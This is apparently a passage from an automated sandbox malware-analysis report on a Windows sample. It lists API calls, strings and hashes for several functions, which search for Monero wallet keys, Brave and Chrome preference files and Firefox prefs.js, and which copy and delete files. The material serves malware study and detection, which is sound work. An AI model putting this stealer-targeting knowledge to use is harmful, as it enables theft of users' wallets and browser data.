and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: d8e70e32423b23545ca143812d03bdd976464d2701be53dc66162a3a648875ca
Instruction ID: acc93828d2b01ad5ae743037dc270a7bd4cb1e177312d7851d0ca400848c7af8
Opcode Fuzzy Hash: d8e70e32423b23545ca143812d03bdd976464d2701be53dc66162a3a648875ca
Instruction Fuzzy Hash: 8F415D24EC66A47BE665BBA78842EFD72DBFF52708F405840E800692C3CBF4752075B1

Function 0032BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00340B32,00340B2B,00000000,?,?,?,003413F4,00340B2A), ref: 0032BEF5
StrCmpCA.SHLWAPI(?,003413F8), ref: 0032BF4D
StrCmpCA.SHLWAPI(?,003413FC), ref: 0032BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0032C7BF
FindClose.KERNEL32(000000FF), ref: 0032C7D1

Strings

Google Chrome, xrefs: 0032C634
Brave, xrefs: 0032C102
Preferences, xrefs: 0032C11E
\Brave\Preferences, xrefs: 0032C1DB

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 84e60963d780594c0712fb9d414f144670219ad9a8761d5130d87c5a37dc1794
Instruction ID: e99975a8fd42d253da3eabc0f8e90b871212f3a2e087c4d2447ceb195d96a825
Opcode Fuzzy Hash: 84e60963d780594c0712fb9d414f144670219ad9a8761d5130d87c5a37dc1794
Instruction Fuzzy Hash: A1426172910108ABCB16FBA4DDD6EED737CAF54300F404558F94AAB181EF34AB49DB92

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GenuntelineI, xrefs: 6C653639
QPC, xrefs: 6C6538FC
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
AuthcAMDenti, xrefs: 6C653946
GTC, xrefs: 6C653912

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 00334910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0033492C
FindFirstFileA.KERNEL32(?,?), ref: 00334943
StrCmpCA.SHLWAPI(?,00340FDC), ref: 00334971
StrCmpCA.SHLWAPI(?,00340FE0), ref: 00334987
FindNextFileA.KERNEL32(000000FF,?), ref: 00334B7D
FindClose.KERNEL32(000000FF), ref: 00334B92

Strings

%s\%s, xrefs: 003349A4
%s\*, xrefs: 00334920
%s\%s, xrefs: 003349FB

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: afe3e03484abefc9f075dbf70be4226aae20a1960c4d0ce865f7b6fd4c8c4c9b
Instruction ID: 10c9310813c91ba9cf16725b72e6832be0b4f21e86331d3a7a5ec415f41f0484
Opcode Fuzzy Hash: afe3e03484abefc9f075dbf70be4226aae20a1960c4d0ce865f7b6fd4c8c4c9b
Instruction Fuzzy Hash: 4B616871900218ABCB25EBA4DC85FEA73BCBB58700F044598F649A7141EB75EB89CF91

Function 00333EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00333EC3
FindFirstFileA.KERNEL32(?,?), ref: 00333EDA
StrCmpCA.SHLWAPI(?,00340FAC), ref: 00333F08
StrCmpCA.SHLWAPI(?,00340FB0), ref: 00333F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0033406C
FindClose.KERNEL32(000000FF), ref: 00334081

Strings

%s\%s, xrefs: 00333EB7

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: ef2ecb2291e45727b0be4d0390d030f3e6e77507ff5bd2975140054682bff26f
Instruction ID: 5eb3ed55a6817a81e3d6397d9cfe6e2a2239174db7da392885ea8859ba7a7061
Opcode Fuzzy Hash: ef2ecb2291e45727b0be4d0390d030f3e6e77507ff5bd2975140054682bff26f
Instruction Fuzzy Hash: AE5146B2900218ABCB25EBB4DC85FEE737CBB54700F404598F659A7040EB75EB899F91

Function 0032F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003415B8,00340D96), ref: 0032F71E
StrCmpCA.SHLWAPI(?,003415BC), ref: 0032F76F
StrCmpCA.SHLWAPI(?,003415C0), ref: 0032F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0032FAB1
FindClose.KERNEL32(000000FF), ref: 0032FAC3

Strings

prefs.js, xrefs: 0032F812

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 047e9e70eec91aa3f550f535f9b9897f16c17a9221523f5f0608d0b503abe6d7
Instruction ID: c420e1c7eebdec4961fbf0af64846ca667bd4208066dfae6aea03a91e68b7224
Opcode Fuzzy Hash: 047e9e70eec91aa3f550f535f9b9897f16c17a9221523f5f0608d0b503abe6d7
Instruction Fuzzy Hash: 08B15171900618ABCB26FF64DCD6AEE7778AF54300F4081A8E44A9F141EF346B49DF92

Function 003216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0034510C,?,?,?,003451B4,?,?,00000000,?,00000000), ref: 00321923
StrCmpCA.SHLWAPI(?,0034525C), ref: 00321973
StrCmpCA.SHLWAPI(?,00345304), ref: 00321989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00321D40
DeleteFileA.KERNEL32(00000000), ref: 00321DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00321E20
FindClose.KERNEL32(000000FF), ref: 00321E32

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Strings

\*.*, xrefs: 003217F1

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 4d6151b26200ea9d7c3fc0a3ed5835afc56558bd5999b9d4ab5c6ed46f8df407
Instruction ID: 3549a3f7b6e97e23b4d1f0c7bb6316c7f53bc422a95b581fa0fd3d1dedce9e1d
Opcode Fuzzy Hash: 4d6151b26200ea9d7c3fc0a3ed5835afc56558bd5999b9d4ab5c6ed46f8df407
Instruction Fuzzy Hash: EF123F71910618ABCB1AFB60DCD6EEE7778AF54300F404199B14A6E091EF346F89DFA1

Function 0032DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003414B0,00340C2A), ref: 0032DAEB
StrCmpCA.SHLWAPI(?,003414B4), ref: 0032DB33
StrCmpCA.SHLWAPI(?,003414B8), ref: 0032DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0032DDCC
FindClose.KERNEL32(000000FF), ref: 0032DDDE

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 057c04a0bc57f94c1bd58ad7687f6cd3dc3982e9266bf424913d65bc25ea098a
Instruction ID: b1a51921c2921da26dc804ef69c3819c66ab944fd95c6e66bace71210e4ffec2
Opcode Fuzzy Hash: 057c04a0bc57f94c1bd58ad7687f6cd3dc3982e9266bf424913d65bc25ea098a
Instruction Fuzzy Hash: 23915572900514A7CB16FBB4ECD69ED777CAF94300F408558F94A9F181EE34AB498B92

